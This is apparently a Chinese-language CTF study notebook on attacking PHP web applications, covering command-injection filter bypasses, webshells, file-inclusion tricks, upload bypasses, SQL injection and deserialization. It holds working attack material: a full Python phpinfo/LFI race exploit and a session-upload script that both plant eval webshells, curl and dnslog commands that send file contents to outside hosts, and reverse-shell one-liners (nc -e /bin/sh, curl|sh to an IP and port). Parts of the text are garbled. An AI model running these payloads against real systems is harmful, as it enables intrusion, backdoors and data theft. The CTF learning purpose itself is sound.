学习WEB
WEB最重要的技能是信息收集:
不止简单的网站探测,我们进行的每一步都要作为信息累积下来。因为你面对每一个网站时都是未知的,这也是为什么大部分资料都是线介绍信息搜集的原因吧。
信息泄露漏洞利用
http头信息泄露
/admin/和/admin区别
/admin/表示访问的是admin目录,会默认访问admin目录里面的索引文件,比如index.html或者index.php
/admin表示访问admin文件,如果没有这个文件,就直接返回404,不会去寻找索引文件
报错信息泄露
可以判断是什么系统,服务器
页面信息泄露
robots.txt敏感信息泄露
防君子不防小人
robots.txt可能会造成信息或路径泄露
有些网站没有robots.txt
robots.txt内容不一定是真实的,也有可能是对方在钓鱼
git文件泄露
git是一个版本控制系统
php基础知识
php的基本概念
php是一种网站的脚本语言,文件后缀是php,用来写网站,适合中小型网站的开发
php基础语法
_GET
键(参数名) =值对(参数值)
a = b
?区分文件和参数部分
参数部分用&区分多个键值对
单个键值对 用=分割出 键值
1 2 3 4 <?php $a =$_GET ['a' ];echo $a ;?
_POST
1 2 3 4 <?php $a =$_POST ['a' ];echo $b ;?>
函数
1 2 3 4 5 6 7 8 9 <?php function add ($a ,$b ) { return $a +$b ; } $a =$_POST ['a' ];$b =$_POST ['b' ];$c =add ($a ,$b );echo $c ;?>
危险函数
1 2 3 4 <?php $cmd =$_POST ['cmd' ];system ($cmd );?>
用POST发送cmd=calc
会打开计算器
php命令执行
命令执行RCE
一般指目标服务器上的命令执行
php的cmmand exec函数
PHP官方由下面六种函数可以执行系统命令
system
passthru
exec
shell_exec
popen
pcntl_exec4
执行运算符
php的命令执行和运用
dir=./查看当前目录
dir=…/上级目录
dir=/根目录
dir=cat /flag读文件
dir=;tac flag.php可以反着读文件
dir=;cat /flag.php F12看源码
在linux下所有东西都是基于文件的
/dev/null空设备
》/dev/null将输出转换到空设备,不让回显
cmd=tac flag.php
cmd=tac*/
cmd=ls;可以看当前目录
cmd=ls;tac flag.php&&;ls
shell的分号;
可以用来分割命令
并列命令的&&的url编码(%26%26)可分割两条命令&&第一个成功下面才能执行下一个
;
则不管成功与否,两个命令作为两行来执行
黑名单过滤
双写绕过
特定字符过滤flag的情况
*通配符
my*/会出现与my有关的文件
?占位符
代替一个
||表示
图中过滤flag ;
=ls ;/cat /f*
!如果不是这种情况
preg_match正则表达式
1 2 error_reporting (o);highlignt_file (__FILE__ );
|\cat|\tac过滤cat tac
这时可以使用正则,其他未被过滤的指令,base编码解码1
1 `echo dGFjIGZsYWcucGhw)|base64-d`
过滤cat,more等文件读取命令的情况;直接
``echo bHMK
或tac flag.php(换位编码后dGFjIGZsYWcucGhw)|base64-d`||
1 `echo dGFjIGZsYWcucGhw | base64 -d`
变量拼接绕过关键字
1 `a=c;b=at;c=fla;d=g.php;$a$b${c}${d}`
符号过滤可以爆破一下
读取文件时<>代替空格
${IFS}}
控制字符代替空格
%09 %0b %0c
字符串截取空格
??
过滤字母数字
语言参考-预定义变量DOLGET?
只能 用符号了
爆破规则0-127最大最小间隔2
cmd=env
看他的空格在哪截,在VSC打开(只是看看他在哪一位,截取的哪一行不能有被过滤的关键字)
在x开始拿y个即 x(截出来的):y(源代码中全部的) 在这里要让他是空格
cmd=tac${GPG_KEYS=:40:1}/空格 /*
3php的代码执行
script短标签
1 <script language="php">eval($_POST[1])</script>
什么是php的代码执行
eval("要执行的php代码);可以赢执行参数给的php代码
可以用?>结束php代码。
1 2 3 <?php $code = $_POST ['code' ];eval ("phpinfo();hrllo world" )
代码执行和命令执行的区别
php的代码执行是什么格式
在php语言中分为三种
函数调用
特征:(函数名字,函数参数,返回值)
函数名 (函数参数1;函数参数2,…) 分号
erro_reporting ( 0 ) ;
类方法调用
特征:(类实例,方法名,方法参数,返回值)
假设我们有个ctfshow类的实例cs,里面有个方法go,那么调用格式为
类实例 箭头 类方法 (方法参数)分号
cs -> go (“dust22”) ;
1 2 3 4 <?php function add ($a ,$b ) { return $a +$b ; }
语言结构调用
public +方法 公开模板
private + 方法 私模板
它在内部可以访问类属性,在外部不能访问
类实例 箭头 类方法 (方法参数)分号
cs -> go (“dust22”) ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class test //设置一个类,即test ,张三就是一个类实例 { public $name ; private $age ; public function eat ( ) { } public function sleep ( ) { } } $zhangsan = new test (); $zhangsan ->name="张三" ; $zhangsan ->age="18" ; ?>
不能直接访问私有属性(在外部无法访问)
那么怎么才能访问呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class test { public $name ; private $age ; public function eat ( ) { } public function sleep ( ) { } public function SetAge ($a ) { $this ->age=$a ; } public function getAge ( ) { return $this ->age; } } $zhangsan = new test (); $zhangsan ->name="张三" ; $zhangsan ->SetAge (18 ); echo $zhangsan ->getAge (); ?>
这时可以返回18,因为对age进行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php class test { public $name ; private $age ; public function eat ( ) { } public function sleep ( ) { } public function SetAge ($a ) { $this ->age=$a ; } public function getAge ( ) { return $this ->age; } public static function play ( ) { echo "chihuo" ; } } test::play (); ?>
这时为什么能直接执行呢?
这种情况下不需要new函数来实例化,因为它是一个标识的一个static代表着它是一个静态方法不需要实例化就可以直接用类名来执行
就是两个冒号::
php的代码执行后门
一句话木马
1 2 3 <?php eval($_POST[1]); ?> //蚁剑连接
_GET_POST转接头
1 2 3 4 5 6 7 8 9 10 11 12 <?php eval ($_GET [1 ]);$_GET [1 ]=eval ($_POST [1 ]);eval ("eval($_POST [1]);" );1 =phpinfo () ;"eval('phpinfo();');" ?> <?php eval ($_GET [1 ]);?> ?1 =eval ($_POST [2 ]);
不回显
没办法直接看到回显可以使用写文件的方式将结果写到浏览器可以读取的位置,然后访问url+txt
可以用>写入
dns通道
http://dnslog.cn/
当文件按过长无法全部会带,使用sed -n命令
可以使用
1 a='sed -n "3,4p"fla?.php|base64' ;curl ${a:0 :10 }.m1207r.dnslog.cn
当dnslog被过滤时,可以使用
https通道
Dashboard - requestrepo.com
https://pipedream.com
1 2 3 4 curl -X POST --data a='cat ./flag.php' http://xxx.com #POST curl http://xxx.com/?a='whoami' #get # curl https://your-shell.com/120.55.103.132:6666 |sh
以及ctfshow专用反弹shell
时间盲注
盲猜flag
长度限制下的命令执行
php的文件包含
文件包含的本质
指定一个文件 ,用函数作为接口调用
可移植性
文件包含,是可以在代码中的任意位置包含的。并不是一定非要是文件头包含
包含的内容,可以有php代码,也可以没有php代码()会默认txt文本输出,包含后。会从磁盘读取这个文件所有的内容,并把读取到的内容插入到当前包含代码的位置
eval和文件包含的共同的区别
都可以执行php代码
文件包含的常见函数
include仅仅是包含,包含不到不影响后续执
require必须包含成功,包含不到就报错不再执行
include_once包含一次,再次包含同样的文件不再重复包含
require_once同上
伪协议
计算机中的伪协议
php中的伪协议
Linux php中可以自己计算目录,可以存在虚拟目录…/
file协议
第四行如果
file=A?B:C
A成立返回B不成立返回C
HTTP协议
可以远程访问
请求头
Referer
服务器判断客户端来自那个网页的请求头
UA
服务器了解客户端的浏览器
XFF
真实IP
ftp协议
和http协议类似,可以访问ftp服务器上的文件,如果支持匿名
php协议
在BP中Change request method 可以GET转POST
php://filter
是一种原封装器
参数
名称
描述
resource=<要过滤的数据流>
这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>
该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表>
该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表>
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
简言之,resource是数据来源,write写入,read读取
data协议
可以直接执行php指令
rot13绕过
两次rot13编码会变回原来的值
file=php://filter/write=string.rot13/resource=1.php
文件包含高级利用
文件包含可控点
文件名可控
后缀可控
文件名可控
意味着可以控制协议头
这时候可以优先使用data协议
后缀可控
如果后缀可控的情况下,可以考虑路径跳转,参考file协议
(一些题后缀可控,可以通过虚拟目录的手法,跳转目录,实现任意文件包含)
虚拟目录做跳转
直接file=…/…/…/
nginx日志包含
nignx默认日志保存路径为/var/log/nginx/access.log
里面会保存我们访问的user-agent
如果我们的user-agent可控,那么就是可以污染到access.log日志文件
然后包含日志文件就可以实现代码执行
这里我们要使用user-agent, 将恶意代码写到里面,如果是其他方式包含代码将被编码导致无法执行
get发送file=…/…/log/nginx/access.log执行日志里的恶意文件
当php语法在双引号中的符号需要转义,否则判断为空即:
1 "<?php eval($_POST [1]);?>" = <?php eval ();?>
这时候我们可以把$符号进行\转义
1 <?php eval (\$_POST [1 ]);?>
临时文件包含
在上传
upload_progress文件包含
php的session也可以保留我们的恶意代码,只要能找到sess文件的
phpinfo(); 竞争上传,这里有个python2的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 import sys import threading import socket def setup (host, port): TAG="Security Test" PAYLOAD="" "%s\r <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST [1])?>')?>\r" "" % TAG REQ1_DATA="" "-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name=" dummyname"; filename=" test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r" "" % PAYLOAD padding="A" * 5000 REQ1="" "POST /phpinfo.php?a=" "" +padding+"" " HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=" "" +padding+"" "\r HTTP_ACCEPT: " "" + padding + "" "\r HTTP_USER_AGENT: " "" +padding+"" "\r HTTP_ACCEPT_LANGUAGE: " "" +padding+"" "\r HTTP_PRAGMA: " "" +padding+"" "\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s" "" %(len (REQ1_DATA),host,REQ1_DATA) LFIREQ="" "GET /lfi.php?file=%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r " "" return (REQ1, TAG, LFIREQ) def phpInfoLFI (host, port, phpinforeq, offset, lfireq, tag): s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket (socket.AF_INET, socket.SOCK_STREAM) s.connect ((host, port)) s2.connect ((host, port)) s.send (phpinforeq) d = "" while len (d) < offset: d += s.recv (offset) try : i = d.index ("[tmp_name] => " ) fn = d [i +17:i +31] except ValueError : return None s2 .send (lfireq % (fn, host ) ) d = s2 .recv (4096 ) s .close ( ) s2 .close ( ) if d .find (tag ) != -1: return fn counter =0class ThreadWorker (threading.Thread ): def __init__ (self , e, l, m, *args ): threading .Thread .__init__ (self ) self .event = e self .lock = l self .maxattempts = m self .args = args def run (self ): global counter while not self .event .is_set ( ): with self .lock : if counter >= self .maxattempts : return counter +=1 try : x = phpInfoLFI (*self .args ) if self .event .is_set ( ): break if x : print "\nGot it ! Shell created in /tmp /g " self .event .set ( ) except socket .error : return def getOffset (host, port, phpinforeq ): """Gets offset of tmp_name in the php output """ s = socket .socket (socket.AF_INET, socket.SOCK_STREAM ) s .connect ((host,port ) ) s .send (phpinforeq ) d = "" while True : i = s .recv (4096 ) d +=i if i == "": break # detect the final chunk if i .endswith ("0\r\n\r\n" ): break s .close ( ) i = d .find ("[tmp_name] => " ) if i == -1: raise ValueError ("No php tmp_name in phpinfo output" ) print "found %s at %i " % (d[i:i+10 ],i ) # padded up a bit return i +256 def main ( ): print "LFI With PHPInfo ( )" print "-=" * 30 if len (sys.argv ) < 2: print "Usage : %s host [port ] [threads ]" % sys .argv [0] sys .exit (1 ) try : host = socket .gethostbyname (sys.argv[1 ] ) except socket .error , e : print "Error with hostname %s : %s " % (sys.argv[1 ], e ) sys .exit (1 ) port =80 try : port = int (sys.argv[2 ] ) except IndexError : pass except ValueError , e : print "Error with port %d : %s " % (sys.argv[2 ], e ) sys .exit (1 ) poolsz =10 try : poolsz = int (sys.argv[3 ] ) except IndexError : pass except ValueError , e : print "Error with poolsz %d : %s " % (sys.argv[3 ], e ) sys .exit (1 ) print "Getting initial offset ...", reqphp , tag , reqlfi = setup (host, port ) offset = getOffset (host, port, reqphp ) sys .stdout .flush ( ) maxattempts = 1000 e = threading .Event ( ) l = threading .Lock ( ) print "Spawning worker pool (%d )..." % poolsz sys .stdout .flush ( ) tp = [] for i in range (0 ,poolsz ): tp .append (ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag ) ) for t in tp : t .start ( ) try : while not e .wait (1 ): if e .is_set ( ): break with l : sys .stdout .write ( "\r% 4d / % 4d" % (counter, maxattempts ) ) sys .stdout .flush ( ) if counter >= maxattempts : break print if e .is_set ( ): print "Woot ! \m /" else : print ":(" except KeyboardInterrupt: print " \nTelling threads to shutdown..." e.set() print " Shuttin' down..." for t in tp: t.join() if __name__=="__main__": main()
session文件包含(upload_progress文件上传)
php的session也可以保留我们的恶意代码,只要能找到sess文件的
要有一个包含点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requests import threading session=requests.session () sess='ctfshow' url="http://6eb9a422-f96b-4a44-a67d-0d9f9d3e716f.challenges.ctfer.com:8080/" data1={ 'PHP_SESSION_UPLOAD_PROGRESS' :'<?php echo "success";file_put_contents("/var/www/html/1.php","<?php eval(\\$_POST[1]);?>");?>' } file={ 'file' :'ctfshow' } cookies={ 'PHPSESSID' : sess } def write (): while True: r = session.post (url,data=data1,files=file,cookies=cookies) def read (): while True: r = session.get (url+"?file=../../../../../../../tmp/sess_ctfshow" ) if 'success' in r.text: print ("shell 地址为:" +url+"1.php" ) exit () threads = [threading.Thread (target=write), threading.Thread (target=read)] for t in threads: t.start ()
用脚本的题
pear文件包含
姿势1
本地新建一个文件
1 2 3 4 <?php echo "<?php system(\$_POST);" ;
直接远程下载
1 http://www.ab173.com/net/ip2int.php
1 ?file=/usr/local/lib/php/PEAR/pearcmd.php&ctfshow+install+R+/var/www/html/+htttps://靶场/x.php
+R+/下载的目录 /
1 ?file=/usr/local/lib/php/PEAR/pearcmd.php&aaaa+config+create+/var/www/html/<?='$_POST[1]';?>+xxx.php
1=whoami
1=ls /
远程文件包含
ip转int可以直接绕过’.’
在日志里进行污染
在body进行传参
6文件上传
php文件上传机制
文件上传的例子
文件上传表单
文件上传的例子
文件上传的成因
文件上传中可能存在
文件后缀黑名单过滤
如果出现php3个字符,我们可以双写绕过,phphpp
还有情况是,如果单纯对php后缀进行过滤,但是某些配置文件为了兼容老版本的php代码,也会增加对其他后缀的解析支持。比如php3.php5甚至phtml
php文件上传的00截断
GIF89a
=
eval($_POST['cmd']);
?>
iconv字符转换异常造成截断
php在文件上传场景下的文件名字字符集转换时,可能会出现截断绕过。
其中iconv喊出通常用来进行字符集转换,在utf=
文件后缀白名单过滤
白名单校验文件后缀比黑名单校验更安全。普遍,绕过白名单通常需要借助web服务器
1web服务器漏洞过滤
IIS解析漏洞
Nginx解析漏洞
在Nginx解析php的配置中,如果配置中未设置try_files且PHP-FPM未设置security。limit_extension,可能出现解析漏洞
解析漏洞在后面加/aa.php以php格式解析(url会误认为是php格式),就可以进行操作
Apache解析漏洞
文件上传的高级利用
配置文件过滤
.user.ini配置文件48t
auto_append_file=xxxx.txt
为什么使用.use.ini自动附加文件时,当前目录必须要有php文件?
.user.ini
实际上就是一个可以由用户“自定义”的php.ini我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。和php.ini
不同的是,.user.ini
是一个能被动态加载的ini文件。也就是说我修改了.user.ini
后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl
所设置的时间(默认为300秒),即可被重新加载。
auto_append_file
、auto_prepend_file
,看看什么意思:
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
1 auto_prepend_file=01 .gif
01.gif是要包含的文件。
要追加时要有一个php文件,才能利用
像<?php,system.eval,$_GET,$_POST被禁用,我们可以使用cookie上传数据,或者用sell_exec反弹shell
用cookie传输数据
$_COOKIE[1];文件上传,
![image-20221009110407090](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221009110407090.png)
### 反弹shell
1 2 <?= `nc ip port-e/bin/sh`;<?= `curl https:
1 2 3 4 5 6 7 8 echo "<?php eval($_POST [1]);?>" >1 .php echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+" >1 .phpecho "PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+" |base64 -d >1 .php echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+" |base64 -d >1 .php 也可以把+编码成%2 b即: echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b" |base64 -d >1 .php
然后POST
也可以用
1 2 GIF89a auto_prepend_file=/var/log/nginx/access.log
### 文件上传与xss
利用oss对象存储桶来实现xss
利用配置文件来xss
图片上传
getimagesize
![image-20221009144246841](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221009144246841.png)
![image-20221009144331535](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221009144331535.png)
![image-20221009144343117](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221009144343117.png)
![image-20221009144743043](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221009144743043.png)
### png二次渲染绕过
直接生成一个新图片,清洗掉原来的php文件
连接已重置说明图片太大列
49t需要脚本
![image-20221009153719266](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221009153719266.png)
## 总结
文件上传最容易出现代码执行和命令执行,且危害巨大,
配置文件.user.ini中,auto_append_file参数不仅可以写文件名,还能写伪协议和日志
getimagesise函数可以通过#define width 100来绕过
png和jpg的二次渲染后,仍有可能保留恶意代码
# 7SQL注入
## SQL的基本 语法
1 2 3 4 5 CURD Creat Delete Update Read
### sql语言的作用
sql是一门语言,专门用来操作数据库中的数据。通过sql语句,我们可以快速的实现数据交互,修改,检查。
### 数据库
数据是一种软件。他负责将数据以一定的格式保存在磁盘中,方便人们进行数据操作
数据库可以分为:
#### 关系型数据库
代表软件:
- Oracle
- Mysql
- SqlServer
- 微软数据库,在Windows操作系统中广泛使用
- Access
#### 非关系型数据库
也叫NoSQL,泛指非关系型的数据库,为了解决大规模数据集合多重数据种类带来的挑战
代表:
- M
-
换行
### sql语句
1 2 3 4 select id,password,username from user; update page set title = 'page1' ,content='content1' where id = 1 ; delect from page where id=1 ; insert into page (title,content) values ('page1' ,'content1' );
1 2 3 4 5 6 7 8 conn = new mysqli () conn->query () conn->fetch_all () conn->fetch_array ()
## sql注入
### sql注入的产生
动态页面,通过get或者post提交参数,这个参数进入到sql语句进行数据库查询,如果对浏览器发送的get或者post参数,拼接进sql语句之前,没有进行过滤,就会造成sql注入漏洞
![image-20221007165426212](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221007165426212.png)
### sql注入的危害1' and 1=2 union select 1,2,3,skctf_flag from fl4g#
歪曲sql语句的查询结果,
泄露数据库中的敏感数据,
干扰查询结果绕过权限检查,
通过文件操作写入恶意代码,
#### 数字注入和union注入
1 2 3 4 5 id=1 order by 1,2,3 id=1 union select 1,2,3 //limit 1,1 id=1 select1,(select),3 limit 1,1 id=1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),3 limit 1,1 'or'1'='1
#### 字符型注入
#### 布尔盲注
当我们没有明显的回显点。只能得到两种结果,比如页面报错,页面没报错,这时候我们就可以使用布尔盲注来猜
#### 报错注入
![image-20221007192714064](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221007192714064.png)
# 2.11.10
update xml报错
floor报错
整数溢出报错
exp报错
pow报错
![image-20221007193146697](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221007193146697.png)
cot报错
![image-20221007193241589](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221007193241589.png)
### 堆叠注入
# 8.php基础,类与对象
## php中的面向对象
### 面向对象的思想:
![image-20221010123905091](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010123905091.png)
### php面向对象的特点
#### 聚类
如执行命令:更改一个被全部更改
1 2 3 4 5 system shell_exec exec passthru popen
#### 封装
![image-20221010124401975](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010124401975.png)
#### 隔离
![image-20221010124559418](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010124559418.png)
例如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class test { public $a = 'sdfsdfa' ; protected $b = 1111 ; private $c = false ; public function displayVar ( ) { echo $this ->a; } } $d = new test (); $d = serialize ($d );var_dump ($d );?>
通过`new`关键字实例化一个类,从类名生产出一个具体的实例
我们可以给实例属性进行赋值,比如:
同样的类实例出来的不同对象
不同对象之间的属性值是隔离的,互相不能访问
在对象内部也不能访问外部的变量
![image-20221010125053847](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010125053847.png)
之间输出$name肯定空白
这里的$name就成为为初始化的变量了,在类内部无法直接调用外部的变量,也不能直接调用其他类的非静态变量,这样就起到了隔离的作用
![image-20221010125326488](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010125326488.png)
#### 继承
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 class Animal { function eat ( ) { } function sleep ( ) { } } class HUman extends Animal { public $gender ; function think ( ) { } } class Bird extends Animal { function fly ( ) { } } class Chinese extends Human { function speak_chinese ( ) { } } }
#### 多态
在php中是弱类型,在参数传递过程中,可以改变参数的对象类型,作为对象依然是可以传递进去的,当同一个参数由不同的对象实例来传递,那么调用结果就实现不同的状态。
1 2 3 4 5 class Command { function run ($var ) { $var ->run (); } }
![image-20221010153749819](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010153749819.png)
面向对象的三个特征
封装,继承,多态
## 类与对象
在php中类的属性和方法权限有3个权限,分别为
public
protected
private
### public权限
![image-20221010153821573](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010153821573.png)
### protected权限
![image-20221010154057881](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010154057881.png)
这里Human就是Animal的子类
Animal是Human的父类
其次。子类不能调用父类的私有方法,属性
子类可以访问父类的静态方法
## 类的属性
![image-20221010154345908](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010154345908.png)
### 静态属性
### final属性
子类中可以重写父类
![image-20221010155532091](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010155532091.png)
## 类的分类
### 抽象类
使用`abstract`关键字定义抽象类
**定义为抽象的类不能实例化**
**继承一个抽象类时。,子类必须定义父类中的所有抽象方法**
**抽象类的作用是保证他的子类都有指定的共同方法,方便外部调用,而不关心内部的具体实现总结:**
**抽象类不能实例化,只能实例化其子类**
**抽象类可以有具体方法,但至少应该有一个抽象方法**
**继承抽象类的子类必须实现抽象类的所有抽象方法**
### 接口
使用`interface`关键字定义抽象类
接口的特性:
**接口中定义的所有方法都必须是公有**
**要实现接口**
即将
1 2 3 public function eat ( ) { }
变为
1 2 3 public function eat ( ) { echo "肉" }
接口允许继承,实现接口,也允许实现多个接口
### trait
![image-20221010162559423](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010162559423.png)
trait可以组合
![image-20221010162727184](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010162727184.png)
## php的序列化与反序列化
### 序列化的概念
**将对象或者数组转化为可存储的字符串。**
序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存和cookie等。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class test { public $a = 'sdfsdfa' ; protected $b = 1111 ; private $c = false ; public function displayVar ( ) { echo $this ->a; } } $d = new test (); $d = serialize ($d );var_dump ($d );?>
运行结果:
1 string (73 ) "O:4:" test":3:{s:1:" a";s:7:" sdfsdfa";s:4:" \000 *\000 b";i:1111;s:7:" \000 test\000 c";b:0;}"
O:4:---代表O(object)代表对象类型,如果是a(array)那就是数组类型;4是对象名称的长度test是对象名称3代表有三个成员。
s:1:"a";s:7:"sdfsdfa"---第一个s表示变量名称是字符串类型,1是变量名称的长度,a是变量名称;第二个s代表变量值是字符串类型,7代表变量值的长,后面是变量的值。
**s:4:"\000*\000b";i:1111;---protected属性输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式**
序列化的时候格式是%00%00成员名*
一个%00代表一个字节,所以protected有两个%00,在加上*和变量名称长度一共4个字节
**s:7:"\000test\000c";b:0;---private属性**
private属性序列化的时候格式是%00类名%00成员名;
两个%00加上类名的4个字节和成员名的一个字节就是7个字节
serialize()函数只对类的**属性**序列化,不序列化**方法**
### 反序列化的概念
**将序列化后的字符串转换回对象或者数组。**
我们重新用上面的例子并把序列化的结果写入一个文本中存储:并读取内容进行反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class test { public $a = 'sdfsdfa' ; protected $b = 1111 ; private $c = false ; public function displayVar ( ) { echo $this ->a; } } $d = new test ();$d = serialize ($d );file_put_contents ('1.txt' ,$d );?> <?php $d = unserialize (file_get_contents ('1.txt' ));print_r ($d );echo $d ->a;?>
**反序列化的时候要保证有该类存在,因为没有序列化方法,所以我们反序列化回来还要依靠该类的方法进行**
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class test { public $a = 'sdfsdfa' ; protected $b = 1111 ; private $c = flase; public function displayVar90 { echo $this ->a; } } $d = unserialize (file_get_contents ('1.txr' ));print_ ($d );echo $d ->a;?>
![image-20221010174812167](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010174812167.png)
## php中的魔术方法
是每个对象默认就有的方法,不管定义不定义,都存在
### 反序列化中常见的魔术方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 __wakeup ()__sleep ()__desruct ()__construct ()__call ()__callStatic () __get () __set () __isset () __unset () __toString () __invoke () __set_state ()__debuginfo ()
#### __desruct()//对象被销毁时触发,
可以没有new,用highight_file 和is_dir触发
这些都可
![image-20221011223642039](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221011223642039.png)
![image-20221011223712308](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221011223712308.png)
![image-20221010181558207](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010181558207.png)
![image-20221010183017339](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010183017339.png)
![image-20221010191658696](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010191658696.png)
1
![image-20221010194702023](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010194702023.png)
只会输出c且输出第三项数组,故改为
![image-20221010194525255](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010194525255.png)
将
![image-20221010194259222](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010194259222.png)
改为
![image-20221010194327943](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010194327943.png)
再将name属性变为system,使得
![image-20221010194418678](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010194418678.png)
![image-20221010194938199](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010194938199.png)
输出system
就可以输出system('ls /')
## 反序列化中的绕过
绕过wakeup方法,将对象数量改为大于真实数量
### +号绕过正则
不允许输入O:7这种开头,可以在数字前面加个“+”绕过,0:+7
### 引用绕过
php中也可以
1 2 3 4 5 6 7 8 <?php function add (&$srt ) {$str = "love" .$str ; return $str ; } $a = "you" ;add ($a );echo $a ;
因为&将str的地址指向了a,。
1 2 3 4 5 6 7 构造 <?php public function __construct ( ) { $this ->username="admin" ; $this ->passward=&$this ->secret; $this ->code ="phpinfo();" }
### 16进制绕过
如果在反序列化后的字符串将s变更为S后,就会将里面的字符按照\xx格式16进制读取,绕过对关键字的检测
### Exception绕过
![image-20221010224344206](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010224344206.png)
### 字符串逃逸
![image-20221010225237057](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010225237057.png)
这时我们用多出来三位如果我们把这三位输入`;"}`就可以完成闭合,这样它后面的属性就被扔掉了
![image-20221010225552508](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010225552508.png)
![image-20221010230830669](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010230830669.png)
## phar
可以看看这个
https://blog.csdn.net/weixin_63231007/article/details/125107789?app_version=5.9.0&code=app_1562916241&csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22125107789%22%2C%22source%22%3A%22J1nmu%22%7D&uLinkId=usr1mkqgl919blen&utm_source=app
### phar包含
我们印象中的文件包含
php底层是这么处理的,使用了file协议
1 include "file://flag.php";
那么要使用phar中的文件,也要使用相应的协议
1 include "phar://com.ctfshow.fileUtil.phar/file.php";
